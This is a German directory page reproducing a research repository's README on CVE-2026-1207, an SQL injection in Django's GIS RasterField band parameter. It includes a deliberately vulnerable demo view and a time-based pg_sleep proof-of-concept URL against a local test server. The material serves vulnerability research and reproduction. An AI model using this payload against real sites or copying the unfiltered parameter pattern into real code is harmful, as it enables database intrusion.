Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/sw0rd1ight/cve-2026-1207
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPapers & ForschungLernen & Bildung
GitHubsw0rd1ight/cve-2026-1207

CVE-2026-1207

Django-Framework: Wenn bei der Verwendung von PostGIS zur Abfrage von Geodaten-Rasterdaten unverifizierte Benutzereingaben direkt als band index (Bandindex)-Parameter verwendet werden, kann dies zu einer SQL-Injection führen.

Repository anzeigen
33vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-1207 Django GIS RasterField SQL-Injection-Reproduktion

Schwachstellenübersicht

Schwachstellentyp: SQL-Injection Betroffene Komponente: django.contrib.gis RasterField

Bei der Verwendung von Django GIS RasterField für Abfragen wird der Parameter band direkt in die SQL-Anweisung eingefügt, was zu einer SQL-Injection-Schwachstelle führt. Ein Angreifer kann durch die Konstruktion eines bösartigen band-Parameterwerts beliebigen SQL-Code injizieren.

Projektstruktur

root@kitploit:~
CVE-2026-1207/
├── .devcontainer/     # VSCode DevContainer-Konfiguration
├── .vscode/           # VSCode-Konfiguration
├── vuln/             # Schwachstellen-Demo-Anwendung
│   ├── models.py     # Modell mit RasterField
│   ├── views.py      # Auslösepunkt der Schwachstelle
│   └── migrations/   # Datenbank-Migrationsdateien
├── web/              # Django-Projektkonfiguration
├── manage.py
├── README.md

Umgebungsstart

Dieses Schwachstellenprojekt wird mit dem VSCode-Devcontainer erstellt.

1️⃣ Projekt öffnen

Öffnen Sie das vorhandene Projektverzeichnis (das den Ordner .devcontainer enthält) mit VS Code.

2️⃣ Container erneut öffnen (Dev Container erstellen)

Drücken Sie Ctrl+Shift+P (Windows/Linux) oder Cmd+Shift+P (Mac)

Geben Sie Remote-Containers: Reopen in Container ein

VS Code liest die .devcontainer-Konfiguration und erstellt den Container (die erste Erstellung kann einige Minuten dauern)

⚠️ Wenn die Dockerfile oder Abhängigkeiten aktualisiert wurden, können Sie Remote-Containers: Rebuild Container wählen, um sicherzustellen, dass die neueste Umgebung verwendet wird.

3️⃣ Django-Entwicklungsserver ausführen

Öffnen Sie die Befehlspalette Ctrl+Shift+P

Geben Sie Tasks: Run Task ein

Wählen Sie django:start (die Aufgabe ist in .vscode/tasks.json konfiguriert)

Diese Aufgabe startet den Django-Entwicklungsserver im Container

Standardmäßig lauscht er auf 0.0.0.0:8087

4️⃣ Browser öffnen und auf das Projekt zugreifen

Öffnen Sie den Browser und rufen Sie auf:

root@kitploit:~
http://localhost:8087

5️⃣ Hinweise

Beim ersten Ausführen kann eine Datenbankmigration erforderlich sein:

root@kitploit:~
python manage.py migrate

Schwachstellen-Reproduktion

Die Schwachstellenanalyse wurde veröffentlicht auf Xianzhi https://xz.aliyun.com/news/91993

WeChat-öffentlicher Account https://mp.weixin.qq.com/s/p7EZRKZBp-mRGhYqyc8i3A

POC: Verzögerungsinjektion

Rufen Sie die folgende URL auf, um die SQL-Injection auszulösen:

root@kitploit:~
http://localhost:8087/book/search?band=1);select%20%271%27||pg_sleep(3)%20--

Beobachten Sie die Antwortzeit: Normale Anfragen sollten sofort zurückkehren, während Injektionsanfragen um etwa 3 Sekunden verzögert werden.

Speicherort des Schwachstellencodes

vuln/views.py:36

root@kitploit:~
def get(self, request: HttpRequest):
    band = request.GET.get("band", 1)  # ← ungefilterte Benutzereingabe
    rast = GDALRaster(...)
    qs = RasterModel.objects.filter(rast__contains=(rast, band))  # ← band wird direkt an die Abfrage übergeben
    print(qs.query)  # ← generierte SQL anzeigen
    qs.count()
    return HttpResponse("book app")

Generierte SQL (nach Injektion)

root@kitploit:~
SELECT ... FROM vuln_rastermodel
WHERE ST_Contains("vuln_rastermodel"."rast", ST_ContainsParam(..., 1);select '1'||pg_sleep(3) --))

Haftungsausschluss

Dieses Projekt dient ausschließlich Sicherheitsforschungs- und Bildungszwecken. Verwenden Sie es nicht auf nicht autorisierten Systemen.

Tool herunterladen